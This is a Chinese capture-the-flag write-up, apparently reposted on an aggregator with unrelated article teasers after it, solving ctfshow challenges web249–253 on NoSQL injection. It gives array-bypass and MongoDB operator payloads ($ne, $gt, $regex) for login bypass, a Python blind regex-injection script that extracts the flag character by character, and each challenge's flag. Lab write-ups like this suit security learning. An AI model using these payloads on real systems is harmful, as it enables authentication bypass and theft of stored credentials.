ctfshow-web入门-sql注入(web249-web253)nosql 注入

news2024/12/30 3:58:57

目录

1、web249

2、web250

3、web251

4、wen252

5、web253


1、web249

开始nosql,flag在flag中

 $user = $memcache->get($id);

使用 Memcache 类的 get 方法从缓存中获取数据,$id 是传入的键,用于从缓存中获取与该键对应的值,结果存储在 $user 变量中。 

直接查 flag,遇到报错:

采用数组绕过,payload: 

/api/?id[]=flag

拿到 flag:ctfshow{ca4ee4b2-308d-4466-b067-ae819563945c}

2、web250

mongodb 操作符:

方法名描述
$gt大于
$lte小于等于
$in包含
$nin不包含
$lt小于
$gte大于等于
$ne不等于
$eq

等于

$and
$nor$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档。
$not反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在。
$or

在这些操作符中,$ne 就是我们在重言式注入中需要利用到的那个,它的作用是将不等于指定值的数据都查询出来,比如 $ne=1 时就是将所有不等于 1 的数据都查询出来。

payload:

username[$ne]=1&password[$ne]=1

 特别注意这里的接口是 /api/index.php,或者你在 api 后面打上斜杠,否则一直查询失败。

拿到 flag:ctfshow{4a370dd2-476d-4cb8-af90-835fe1186271}

3、web251

用重言式注入得到的是 admin 的密码:ctfshow666nnneeaaabbbcc

试了一下登录成功,但是也未见 flag 

 

查用户名不为 admin 的,payload:

username[$ne]=admin&password[$ne]=1

拿到 flag:ctfshow{a438711a-09d0-495d-8023-a562a9bad1e3}

4、wen252

用上一个 payload 但还出来了一个 admin1 

用 $gt (大于)继续尝试: 

username[$gt]=admin1&password[$ne]=1

还有 admin2

继续测,还有 admin3

直到:

username[$gt]=admin3&password[$ne]=1

 出来了一个名为 f_l_a_g 的用户,密码即为 flag

拿到 flag:ctfshow{02bc45f0-035d-46e1-bff0-d3388be3e90f}

当然这里更简便的方法,我们可以采用正则。

查 password 中以 ctfshow{ 开头的,payload:

username[$ne]=1&password[$regex]=^ctfshow{

 

5、web253

采用上一题的正则,虽然登录成功,但是没有回显 flag

这里采用盲注:

username[$ne]=1&password[$regex]=^c

验证一下,确实是不同的回显(flag 的第一个字符肯定是 c )

写个脚本来跑即可:

# @author:Myon
# @time:20240913
import requests
import string

url = 'http://9e856a5a-0dd8-4fac-8b5a-450688cee600.challenge.ctf.show/api/'
dic = string.digits+string.ascii_lowercase+'{}-_'
out = 'ctfshow{'

for j in range(9,50):
    for k in dic:
        payload = {'username[$ne]':'1','password[$regex]': f'^{out+k}'}
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if "\\u767b\\u9646\\u6210\\u529f" in re.text: # 注意反斜杠需要转义
            out += k
            break
    print(out)

但是这里如果从第一个字符注过去,得到的东西就很奇怪 

关键是这个东西还真的存在,确实可以登录成功

这里从 ctfshow{ 后面开始注,将前面的 8 个字符确定后再继续猜后面的字符,即可拿到正确的 flag:ctfshow{042c08ff-2628-445f-928c-583482e193d2}

至此,ctfshow-web入门-sql注入结束,20240913,Myon  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2130414.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

明基相机sd卡格式化还能恢复数据吗?可以这样操作

随着数字摄影的普及,相机SD卡已成为我们记录生活点滴的重要载体。然而,不小心将SD卡格式化,导致珍贵照片和视频瞬间消失,无疑是摄影爱好者的一大噩梦。面对这样的突发情况,许多朋友可能会感到无助与绝望。但实际上&…

【计算机组成原理】概述+数制与编码

目录 计算机组成原理概述计算机基本组成计算机系统的层次结构计算机性能指标 数制与编码进位计数制及其相互转换数据的编码与表示校验码 计算机组成原理概述 计算机基本组成 运算器、控制器、存储器、输入输出设备 运算器:完成数据的暂存、变换、算术运算和逻辑…

OpenCV结构分析与形状描述符(23)确定一个点是否位于多边形内的函数pointPolygonTest()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C11 算法描述 进行点在轮廓内的测试。 该函数确定点是在轮廓内、轮廓外,还是位于一条边上(或与顶点重合)。它返回正值&…

【可变参模板】基类参数包的展开

一、基类参数包的展开 1.1基类参数包的展开 C C C是一个支持多继承的语言,因此继承的类也可以是一个基类的参数包 注意继承的语法是 p u b l i c : c l a s s . . . public: class ... public:class...,需要补充 . . . ... ...作为基类参数包的标志。…

Linux 驱动编写框架 并编译导入开发板

向内核新加文件&#xff1a;例如 demo1.c 1. 创建并编辑新的文件 #include <linux/init.h> #include <linux/kernel.h> #include <linux/types.h> #include <linux/fs.h> #include <linux/module.h> #include <linux/kdev_t.h> #include …

Qt控制开发板的LED

Qt控制开发板的LED 使用开发板的IO接口进行控制是嵌入式中非常重要的一点&#xff0c;就像冯诺依曼原理说的一样&#xff0c;一个计算机最起码要有输入输出吧&#xff0c;我们有了信息的接收和处理&#xff0c;那我们就要有输出。 我们在开发板上一般都是使用开发板的GPIO接口…

vue3使用provide和inject传递异步请求数据子组件接收不到

前言 一般接口返回的格式是数组或对象&#xff0c;使用reactive定义共享变量 父组件传递 const data reactive([])// 使用settimout模拟接口返回 setTimeout(() > {// 将接口返回的数据赋值给变量Object.assign(data, [{ id: 10000 }]) }, 3000);provide(shareData, dat…

02请求响应(简单参数)

一、操作目的 前端通过post/get请求&#xff0c;传递给后端简单的数据&#xff0c;后端接收后在控制台打印出来&#xff0c;并将结果返回给前端页面展示出来。&#xff08;这里我们用postman来模拟前端页面&#xff0c;而非真实的通过编写前端代码&#xff0c;通过浏览器来展示…

Docker数据挂载本地目录

docker内的数据映射可以不通过数据卷&#xff0c;直接映射到本地的目录。下面将以mysql容器示例&#xff0c;完成容器的数据映射。 注意&#xff1a;每一个不同的镜像&#xff0c;将来创建容器后内部有哪些目录可以挂载&#xff0c;可以参考DockerHubDocker Hub Container Ima…

求树上任意两个点的距离lca

前言&#xff1a;一开始看到这个题目的时候&#xff0c;感觉就和lca有关&#xff0c;但是没有想到具体的公式 d d e p [ x ] d e p [ y ] − 2 ∗ d e p [ l c a ( x , y ) ] d dep[x] dep[y] - 2*dep[lca(x,y)] ddep[x]dep[y]−2∗dep[lca(x,y)] 并且我们这个题目还是一个…

[数据集][目标检测]烟叶病害检测数据集VOC+YOLO格式612张3类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;612 标注数量(xml文件个数)&#xff1a;612 标注数量(txt文件个数)&#xff1a;612 标注类别…

【重学 MySQL】二十六、内连接和外连接

【重学 MySQL】二十六、内连接和外连接 内连接&#xff08;INNER JOIN&#xff09;外连接&#xff08;OUTER JOIN&#xff09;总结 在MySQL中&#xff0c;内连接和外连接是两种常见的表连接方式&#xff0c;它们在处理多个表之间的关系时发挥着重要作用。 内连接&#xff08;I…

光器件 -- 拉曼放大器(原理、分类和应用)

拉曼工作原理 拉曼放大器基于受激拉曼散射效应&#xff08;SRS&#xff0c;Stimulated Raman Scattering&#xff09;&#xff0c;以传输光纤作为增益介质&#xff0c;将拉曼泵浦功率转移到C波段信号上进行放大。受激拉曼散射基本原理为&#xff1a;如果一个弱信号光与一个强泵…

流动性质押协议 Drop:DeFi 新一轮革新

近年来&#xff0c;去中心化金融&#xff08;DeFi&#xff09;领域经历了迅猛的增长和创新&#xff0c;而其中一项重要的发展便是流动性质押协议的兴起。在传统的区块链网络中&#xff0c;用户为了参与网络的验证过程和维护网络安全&#xff0c;通常需要将加密资产锁定在区块链…

Java集合(八股)

这里写目录标题 Collection 接口List 接口ArrayList 简述 1. ArrayList 和 LinkedList 区别&#xff1f;⭐️⭐️⭐️⭐️2. ArrayList 和 Array 的区别&#xff1f;⭐️⭐️⭐️ArrayList 和 Vector 区别&#xff1f;⭐️⭐️ArrayList 的扩容机制&#xff1f;⭐️⭐️⭐️ Qu…

Lesson08---string类(3)

1.find_first_of string里面的find成员函数就是找一个字符串然后返回第一个字符 find_first_of函数看个例子就很快就能明白 它返回的下标是参数的其中任意一个字符的下标通过以上操作就可以把原来的那一整个字符串替换成自己想要的字符 第二个参数其实就是一个缺省参数默认从0…

多种传感器输出的模拟量转换

目录 内部温度传感器与参照电压 传感器 光敏电阻 热敏电阻 反射式红外 对射式红外 驱动代码 Sensor.h Sensor.c AD.h AD.c main.c 内部温度传感器与参照电压 STM32有一个内部的温度传感器&#xff0c;可以用来测量CPU及周围的温度。 该温度传感器在内部和ADCx_I…

IBM中国研发中心撤出:挑战与机遇并存

IBM中国研发中心撤出&#xff1a;挑战与机遇并存 引言 近日&#xff0c;IBM宣布撤出在中国的两大研发中心的消息&#xff0c;引起了广泛关注。这一举动不仅对IBM自身的全球布局产生了影响&#xff0c;也在一定程度上反映了跨国公司在中国市场策略的调整。本文将探讨这一事件背…

5.9 使用LBA 的模式来读取磁盘

注意&#xff1a; 如果再 cmake 中想要 make clean 的话&#xff0c; 直接 删除 build 目录就可以了。 1 也是说 是 MBR还是 LBA 硬盘是可以控制的。 LBA 没有 磁盘&#xff0c; 柱面的概念。 2 对于寄存器的说明。 什么是 CHS呢&#xff1f; 就是机械磁盘。 这里只找到了 LB…

【计算机组成原理】详细解读带符号整数在计算机中的运算

有符号整数的运算 导读一、补码的优势二、补码的加法运算三、补码的减法运算四、原码、反码、补码的特性结语 导读 大家好&#xff0c;很高兴又和大家见面啦&#xff01;&#xff01;&#xff01; 经过前面的介绍&#xff0c;我们已经初步认识了有符号整数的三种表示形式&…